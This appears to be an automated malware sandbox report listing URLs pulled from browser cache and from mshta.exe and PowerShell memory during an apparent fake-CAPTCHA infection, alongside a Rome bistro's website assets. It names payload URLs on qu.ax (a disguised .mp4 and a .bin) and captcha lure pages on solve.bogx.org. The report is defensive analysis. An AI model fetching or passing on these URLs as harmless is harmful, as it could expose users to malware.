Source: chromecache_318.1.dr, chromecache_323.1.dr	String found in binary or memory: https://github.com/imakewebthings/waypoints/blog/master/licenses.txt
Source: chromecache_318.1.dr, chromecache_323.1.dr	String found in binary or memory: https://github.com/ryanburnette/scrollToBySpeed/blob/master/src/scrolltobyspeed.jquery.js
Source: chromecache_281.1.dr	String found in binary or memory: https://isotope.metafizzy.co
Source: mshta.exe, 0000000F.00000003.1978855698.0000025D31DC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.come
Source: chromecache_202.1.dr	String found in binary or memory: https://mc.kinopoisk.ru/sync_cookie_image_check
Source: chromecache_356.1.dr, chromecache_367.1.dr	String found in binary or memory: https://mc.yandex.
Source: chromecache_356.1.dr, chromecache_367.1.dr	String found in binary or memory: https://mc.yandex.md/cc
Source: powershell.exe, 00000012.00000002.2013760231.000001613CDF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2047084467.000001614B487000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2047084467.000001614B5C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2414647541.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000012.00000002.2013760231.000001613C898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000014.00000002.2414647541.000000000508A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1978855698.0000025D31E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4&
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4...
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4...0P
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4B
Source: mshta.exe, 0000000F.00000003.1978855698.0000025D31DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2006043000.0000025D31DC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4C:
Source: mshta.exe, 0000000F.00000002.2010685282.0000026538C31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4LMEM0
Source: mshta.exe, 0000000F.00000003.1988142902.0000026539748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4M
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4R
Source: mshta.exe, 0000000F.00000003.1998126995.00000265348BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990566827.00000265348BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1979076044.00000265348BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2008467729.00000265348BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4e?Tkc
Source: mshta.exe, 0000000F.00000002.2010685282.0000026538C3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4g
Source: mshta.exe, 0000000F.00000003.1988142902.0000026539748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4h
Source: mshta.exe, 0000000F.00000003.1988142902.0000026539748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4https://qu.ax/SpgOJ.mp41https://qu.ax/SpgOJ.mp4
Source: mshta.exe, 0000000F.00000003.1991140506.0000026538ED5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1988350738.0000026538ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4https://qu.ax/SpgOJ.mp4p
Source: mshta.exe, 0000000F.00000002.2004834667.0000025D31D8F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1995337423.0000025D31D91000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4l
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4r
Source: mshta.exe, 0000000F.00000003.1998126995.00000265348BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990566827.00000265348BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1979076044.00000265348BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2008467729.00000265348BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4sf4A
Source: mshta.exe, 0000000F.00000002.2010685282.0000026538C3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4w
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/SpgOJ.mp4z_Uj
Source: powershell.exe, 00000014.00000002.2405465790.00000000031C9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2413066205.0000000003520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/TORof.bin
Source: powershell.exe, 00000014.00000002.2414647541.000000000508A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/TORof.binP
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qu.ax/~
Source: chromecache_362.1.dr	String found in binary or memory: https://schema.org
Source: chromecache_362.1.dr	String found in binary or memory: https://schema.org/Blog
Source: chromecache_362.1.dr	String found in binary or memory: https://schema.org/CreativeWork
Source: chromecache_362.1.dr	String found in binary or memory: https://schema.org/ImageObject
Source: chromecache_362.1.dr	String found in binary or memory: https://schema.org/SiteNavigationElement
Source: chromecache_362.1.dr	String found in binary or memory: https://schema.org/WPHeader
Source: chromecache_362.1.dr	String found in binary or memory: https://schema.org/WebPage
Source: mshta.exe, 0000000F.00000003.1995337423.0000025D31D9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2005879295.0000025D31D9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/JaU
Source: mshta.exe, 0000000F.00000003.1995337423.0000025D31D9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2005879295.0000025D31D9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/Vai
Source: mshta.exe, 0000000F.00000003.1995337423.0000025D31D59000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2004834667.0000025D31D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982
Source: mshta.exe, 0000000F.00000002.2005879295.0000025D31DA2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2004189329.0000025D31CD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1995337423.0000025D31D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec
Source: mshta.exe, 0000000F.00000002.2011149912.0000026539170000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2004189329.0000025D31CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec#?
Source: mshta.exe, 0000000F.00000002.2004834667.0000025D31D8A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D89000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1995337423.0000025D31D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec2tG
Source: mshta.exe, 0000000F.00000002.2004834667.0000025D31D4F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec3
Source: mshta.exe, 0000000F.00000003.1995337423.0000025D31D6F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D4E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2004834667.0000025D31D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ecA
Source: mshta.exe, 0000000F.00000002.2004834667.0000025D31D4F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ecQ
Source: chromecache_362.1.dr	String found in binary or memory: https://tinyurl.com/yytbmzzL
Source: chromecache_247.1.dr	String found in binary or memory: https://webaim.org/techniques/css/invisiblecontent/#techniques
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/#/schema/logo/image/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/#organization
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/#website
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/?lang=en
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/?s=
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/cipasso/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/comments/feed/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/contatti/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/cookies-policy-privacy/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/curiosita/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/feed/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/menu-2/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/#breadcrumb
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-gd
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-pu
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-pub
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/sitepress-multilingual-cms/res/flags/it.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-p
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/blog/bl
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttonr
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalog
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/comment
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/content
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdo
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/google_
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/grid_ro
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/heading
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headlin
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.c
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icon/ic
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongri
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlis
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image/i
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_h
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazin
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/me
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notific
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfol
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postsli
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progres
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobo
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/search/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slidesh
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_sec
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/t
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/ta
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/team/te
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimo
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timelin
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/v
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-template-builder/a
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.js?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/avia-snippet-lightbox.css?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/avia-snippet-site-preloader.css?ver=6.0.9
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/avia-snippet-widget.css?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/base.css?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/custom.css?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/grid.css?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/layout.css?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/shortcodes.css?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-compat.js?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/html5shiv.js
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/Cipasso_simbolo3.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-180x180.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-192x192.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-270x270.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-32x32.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/06/1.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/06/2.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/06/3.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/06/sfondo_cerchi.png)
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/09/MG_4783-67-copia-2.jpg);background-attachmen
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2021/06/CiPASSO-Bistrot-Roma-userci.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2021/06/CiPASSO-Home-1030x506.jpg
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2021/06/CiPASSO-Home-1500x630.jpg
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2022/05/49925.jpg
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Dettaglio-della-sala-interna-495x400.jpg
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Dettaglio-della-sala-interna-845x684.jpg
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.19.49-845x576.p
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.22.19-845x646.p
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-845x675.p
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Servizio-di-sala-495x400.jpg
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Servizio-di-sala-845x684.jpg
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Vini-italiani-eccellenti-495x400.jpg
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Vini-italiani-eccellenti-845x684.jpg
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/dynamic_avia/enfold.css?ver=6335ddf9ba942
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-includes/wlwmanifest.xml
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-json/
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.cipassoitalia.it%2F
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.cipassoitalia.it%2F&#038
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-json/wp/v2/pages/838
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/xmlrpc.php
Source: chromecache_362.1.dr	String found in binary or memory: https://www.cipassoitalia.it/xmlrpc.php?rsd
Source: chromecache_362.1.dr	String found in binary or memory: https://www.tripadvisor.it/Restaurant_Review-g187791-d14121704-Reviews-CiPASSO-Rome_Lazio.html
Source: chromecache_171.1.dr, chromecache_284.1.dr	String found in binary or memory: https://www.youtube.com/iframe_api
Source: chromecache_356.1.dr, chromecache_367.1.dr	String found in binary or memory: https://yastatic.net/s3/gdpr/v3/gdpr
Source: chromecache_356.1.dr, chromecache_367.1.dr	String found in binary or memory: https://yastatic.net/s3/taxi-front/yango-gdpr-popup/
Source: chromecache_356.1.dr, chromecache_367.1.dr	String found in binary or memory: https://ymetrica1.com/watch/3/1
Source: chromecache_362.1.dr	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
